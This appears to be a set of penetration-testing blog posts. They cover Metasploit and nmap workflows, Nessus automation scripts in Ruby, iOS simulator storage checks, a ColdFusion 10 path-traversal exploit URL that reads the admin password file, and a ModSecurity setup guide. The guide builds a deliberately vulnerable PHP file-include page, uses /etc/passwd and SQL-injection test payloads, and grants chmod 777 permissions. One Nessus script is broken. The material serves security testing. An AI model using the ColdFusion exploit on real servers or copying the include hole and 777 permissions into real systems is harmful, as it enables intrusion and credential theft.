Utilizing Metasploit Database in Netwok Pentest

What’s the first thing come to your mind when you think of doing network pentest of over 1000 IPs in couple of weeks? Is it really possible? Answer is YES!!!

My ONLY choice is Metasploit Database. This handy tool is too awesome that it helps not only to exploit the vulnerabilities directly from the Metasploit console but also saves plenty of time and prevents you to be in a messy situation. So how do you start?

Fire up your Metasploit and type db_status command to check if you have Metasploit database installed or not. If not, refer here, here and here to set it up. Assuming you have everything setup, lets get started.

• Grab the list of subnets that are in scope.
• Detect live host (NMAP -sP <Subnet_IP>) and dump these IP into a text file i.e. ip.txt. This step will take a bit of formatting effort.
• Fire up your NMAP to start network scans [and keep it running]. Note that Metasploit DB takes XML formatted output. This is the easiest way to get things running smoothly.
• To run NMAP, following is the most efficient command for TCP scans. Obviously, this part will take long time to complete as there is bunch of IP address(s) to scan.

    sudo nmap -sV -v -O -Pn -iL ip.txt -oX network-scan.xml

          Do -sU in case you want to perform UDP scans as well. 

• Leave the scans running for overnight and it should be completed next morning when you come back to hack..:)
• Next, import the NMAP XML output file to Metasploit. Here’s how you connect to Metasploit DB.  

    db_connect <username>:<password> @localhost:5432

• Create workspace to import scan results and get things organised. The Metasploit command for this is: 

    workspace –a <Workspace_name>

          Refer here for all Metasploit database commands.

• Now its time to import your NMAP results to Metasploit database. To import the XML file, do 

    db_import <Path_of_XML_file>

•  Now you are ready to go and exploit utilising all Metasploit exploits..:)

 The take aways from this approach is: 

• You can utilize all Metasploit exploits within seconds.
• Use –R switch to directly import RHOSTS list into the exploit.
• Conduct pentests in a most structured and organised manner.

Happy Hacking!!!

Local Data Storage Analysis with iOS Simulator

There have been times when a penetration tester is not able to install iOS application on a physical device while performing iOS application security assessment. This can happen due to various reasons:

• Application does not support your iOS firmware version
• Pentester does not own iOS device or is not jailbroken
• Pentester cannot install .IPA file using iTunes

If one of the above happened to you then you need to go back to customer and ask for application’s Xcode project. Once you have this, open the xcworkspace file in Xcode and simply run the code. Ensure you select iOS simulator device to run your application. Here’s how you can do this:

XcodeàProductàDestinationàChoose Device

Once you have this, you should be able to run your application in iOS simulator. What next?

Next, I would suggest you to browse the application, input data, create records, etc. within the application. This will make the application run as in you are in real environment and allow application to do all scary stuff on your Simulator.

To inspect what application has stored locally, browse to below path (using Finder or Terminal):

~/Library/Application Support/iPhone Simulator/7.0.3/Applications/<UNIQUE_ID>/Documents

~/Library/Application Support/iPhone Simulator/7.0.3/Applications/<UNIQUE_ID>/Library

In above locations, you should be able to view below folders:

Caches - Stores application database files

Preferences - Stores application .plist files

You can now view .plist files using any text editor and could view database files using SQLiteStudio (free lightweight utility). The tool is really simple to operate and gets you what you are looking for very quickly.

Happy Reading!!!

Multiple IP Nessus 5.2 Automation Script

It is always been a pain to run Nessus when you have long list of IPs to be scanned within a short period of time. This typically happens when you are engaged in an internal pentest and you have multiple IPs to scan.

To solve this, I have written a Ruby script which enables Nessus to read list of IPs from a text file, perform individual scan, export it to XML format and saves a copy of the scan over Nessus web interface. This script is very similar to my last script with few changes in terms of reading IP from a text file. Please note that you would need to install nessus-xmlrpc gem to get this running.

Here’s a ruby script for running Nessus against multiple IPs:

require 'nessus-xmlrpc'

n=NessusXMLRPC::NessusXMLRPC.new('','admin','admin');

if n.logged_in

  id,name = n.policy_get_first

  puts "using policy ID: " + id + " with name: " + name

  File.open("ip.txt").each_line do |line|

  uid=n.scan_new(id,"#{line}","#{line}")

  puts "scanning for: " + line

  puts "status: " + n.scan_status(uid)

  while not n.scan_finished(uid)

    sleep 10

  end

  content=n.report_file_download(uid)

  #File.open('report.xml', 'w') {|f| f.write(content) }

  #File.open("#{line}_report.xml", 'w') do |f|

  f.write(content)

  f.close

  end

end

end

Steps to be followed:

1. Create a ip.txt file and dump your list of IPs there.
2. Copy and paste above script in nessus.rb file.
3. Place both these files under one folder and fire below command from your terminal.

 ruby nessus_file.rb

The output will be saved in the same folder and copy of scan will be available on your Nessus web interface.

Happy Automating!!!

Nessus 5.2 XMLRPC Automation

Recently, I was trying to use my previously automated Nessus Automation scripts and detected they aren’t working on latest Nessus 5.2 XMLRPC.  Last time, I automated network scanning tasks using XMLRPC in Perl but strange it did not work anymore with Nessus 5.2.

Here’s the error message I got while running my old scripts:

Cannot login to: https://localhost:8834/

I tried to resolve this error, read latest XMLRPC documentation but could not made it working. I then used XMLRPC in Python and this did not worked either. Strange!!!

Next and last attempt was to use XMLRPC in Ruby and this worked for me..:) To make this working, you need to have nessus-xmlrpc gem installed within your ruby installation (obviously). Refer here for complete installation of Ruby and gem on Mac.

Here are my Nessus 5.2 working script using ruby XMLRPC:

#!/usr/bin/env ruby

require 'nessus-xmlrpc'

ARGV.each do|a|

    a = ARGV[1]

    n=NessusXMLRPC::NessusXMLRPC.new('','username','password');

if n.logged_in

  id,name = n.policy_get_first

  puts "using policy ID: " + id + " with name: " + name

  uid=n.scan_new(id,"#{ARGV[0]}","#{ARGV[0]}")

  puts "scanning for: " + "#{ARGV[0]}"

  puts "report will be saved as " + "#{a}_report.xml"

  puts "status: " + n.scan_status(uid)

  while not n.scan_finished(uid)

    sleep 10

  end

  content=n.report_file_download(uid)

  File.open("#{a}_report.xml", 'w') {|f| f.write(content) }

end

end

Above script takes two user input from standard STDIN i.e. IP Address and Report Name using a shell script. Here’s is my shell script that I use to run Nessus against a single IP:

#! /bin/sh

echo "Enter the IP address to scan:"

read ipaddr

echo "Enter the report name:"

read filename

echo "Nessus running for $ipaddr"

ruby nessus.rb $ipaddr $filename

echo "Completed scans for IP: $ipaddr"

echo "Output saved starting with $filename"

Just copy above scripts and place them in same folder and you are ready to go from terminal. Here’s a sample output for your reference:

Cheers!!! 

ColdFusion 10 Remote File Disclosure Exploit

ColdFusion had several exploits in the past. ColdFusion 10 being the latest and stable release from Adobe it was hard to find any ready exploits.

As a part of external pentest, I had no information about the infrastructure in use, platform or installed applications. I ran Nessus as first part of network pentest and found that ColdFusion admin login page exists here: 

http://XX.XX.XX.XX/CFIDE/administrator/index.cfm

Next step is to get the version number. I got this by social engineering techniques..:)

Interestingly, ColdFusion 10 does not display its version number on the homepage now as compared to other previous versions. You need to assume it or need to get it from other means.

The Exploit

The exploit works if ColdFusion is not updated with latest patches, hotfixes and just has a raw installation. The Remote File Disclosure (RFD) allows accessing the operating system files, configuration files, logs, browsing complete server folders and CF admin password hash.

The vulnerability exists in l10n.cfm module as attribute.file parameter does not have validation for path traversal. This is pretty basic and how can Adobe miss this!!!

Vulnerable URL:

http://XX.XX.XX.XX/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../coldfusion10/cfusion/lib/password.properties

Notes for successful exploits:

• You would need to do couple of ../../ before you get onto the password hash
• You would need to guess coldfusion home directory name
• You might need to have some knowledge of ColdFusion folder structure. Refer it here.

Post you have access to password hash, next step is to get the Salt so you can perform rainbow table attacks.

Here's a quick reference for you on CF sensitive files. You might want to access them too.

Password Hash URL:

http://XX.XX.XX.XX/CFIDE/adminapi/administrator.cfc?method=getSalt

Having all this information, you may now want to proceed with password cracking. I used ncrack and Hydra for password cracking and it worked pretty quickly as admin password was among the common passwords.

Happy Exploiting CF 10!!! 

Configuring ModSecurity with OWASP CRS – Part II

I hope you have successfully installed and configured LAMP and Modsecurity on your Ubuntu 10.04 box (If not, see my last post here). Next step is to configure Modsecurity with OWASP CRS (Core Rule Set) rules. Basically it does not make any sense to just install Modsecurity without configuring OWASP CRS rules as this will not protect you against any web attacks.

Here’s most simplest and workable steps for Ubuntu 10.04 environment:

1.       Download OWASP CRS from https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project

2.       Extract the contents to folder named "owasp"

3.       Copy owasp folder to /etc/apache2/rules

4.       Rename file modsecurity_crs_10_setup.conf.example to modsecurity_crs_10_setup.conf

5.       Browse to /etc/apache2/conf.d/security file and paste below lines inside <IfModule mod_security2.c>:

Include /etc/apache2/rules/owasp/*.conf

Include /etc/apache2/rules/owasp/base_rules/*.conf

6.       Restart apache2

sudo /etc/init.d/apache2 restart

Try attack payloads:

If configured correctly, you should get a 403 Forbidden page:

http://127.0.0.1/test.php?’or+1=1--

http://127.0.0.1/index.html?’or+1=1--

Below are the logs from mod security (/etc/apache2/logs/modsec_audit.log):

Your Modsecurity is now configured with basic OWASP CRS which is sufficient to protect you from common web application attacks.

Happy Reading !!!

Configuring ModSecurity with OWASP CRS – Part 1

In this series, I’m gonna write about the installation and configuration of ModSecurity with OWASP CRS on Ubuntu 10.0.4 and Apache2.

I was motivated to write about it when few of my clients just instantly asked me about blocking all known malicious web attacks at web server level itself. I quickly suggested them an open source, reliable WAF solution that suffice to their requirement. Obviously, just installing WAF does not mean that you do not need application security controls.

ModSecurity (developed by TrustWave) is a reliable open source WAF (Web Application Firewall) that sits between end user and your application server i.e. at web server level. ModSecurity has preconfigured basic security rules that are enabled on installation and configuration.

It is important to note that ModSecurity, in itself, provides very limited protection on its own. In order to make ModSecurity useful, it must be configured with rules. OWASP Defender Community has developed and maintains a free set of application protection rules called the OWASP ModSecurity Core Rule Set (CRS). These rules need to be integrated with ModSecurity to enable it to perform its fully functional tasks.

Refer here to read more about ModSecurity.

I searched a lot over internet for similar articles but most of them have incomplete or incorrect information which is a bit disappointing. I have tried to make this article most accurate, simple and to the point.

Background

I have a fresh installation of Ubuntu-desktop-10.0.04.iso (downloaded from here) and a VirtualBox installation (downloaded from here). First, we need to install LAMP (Linux, Apache, MySQL and PHP) on our new box to setup the test environment and run a sample PHP application to test our malicious payloads.

Below are the steps to follow:

Step 1: Download and install LAMP:

sudo apt-get update

sudo apt-get install php5 mysql-server apache2

Installation would prompt you to input MySQL password. Input MySQL password of your choice.

Step 2: Install PHP and MySQL

sudo apt-get install php5-mysql

Post successful installation, you will have LAMP installed on the box. To test setup, open a browser and type http://127.0.0.1. Below page should pop up that indicate successful installation of LAMP:

Step 3: Folder permission and test page setup

Issue below command to change permission of /var/www/ folder to create test.php file under /www/ folder:

sudo chmod 777 /var/www/

Create a test.php file and paste below code:

<?php

$secret_file = $_GET['secret_file'];

include ( $secret_file);

?>

Step 4: Test setup and perform basic attack

Open a web browser and access below URL. You should get passwd file on your browser.

http://localhost/test.php?secret_file=/etc/passwd

Step 5: ModSecurity installation

sudo apt-get install libxml2 libxml2-dev libxml2-utils

sudo apt-get install libaprutil1 libaprutil1-dev

sudo apt-get install libapache-mod-security

Step 6: Modify folder permission for apache2 and conf.d file to create ModSecurity rules directory:

sudo chmod 777 /etc/apache2/

sudo chmod 777 /etc/apache2/conf.d/security

Issue below commands to copy contents from download directory to /rules directory created under /apache2.

cp -R /usr/share/doc/mod-security-common/examples/rules /etc/apache2/

Note: All ModSecurity rules are now placed under /apache2 directory.

Step 7: Logs collection and configuring ModSecurity rules

Issue below command to create /logs directory under /apache2:

mkdir /etc/apache2/logs/

Modify /etc/apache2/conf.d/security file with below code:

<IfModule mod_security2.c>

        Include /etc/apache2/rules/*.conf

        Include /etc/apache2/rules/base_rules/*.conf

</IfModule>

Step 8: Completing setup

Restart apache:

sudo /etc/init.d/apache2 restart

Try attack payload http://127.0.0.1/test.php?secret_file=/etc/passwd . You should get 403 Forbidden. This indicates successful installation and configuration of ModSecurity Rules.

Below are the reference commands to enable and disable ModSecurity:

To enable ModSecurity:

a2enmod mod-security

Disable ModSecurity:

a2dismod mod-security

Above steps work for me like a charm on Ubuntu 10.0.4. Hope this helps.

In next part, we will have OWASP CRS installed and configured with ModSecurity.

Happy Reading!!!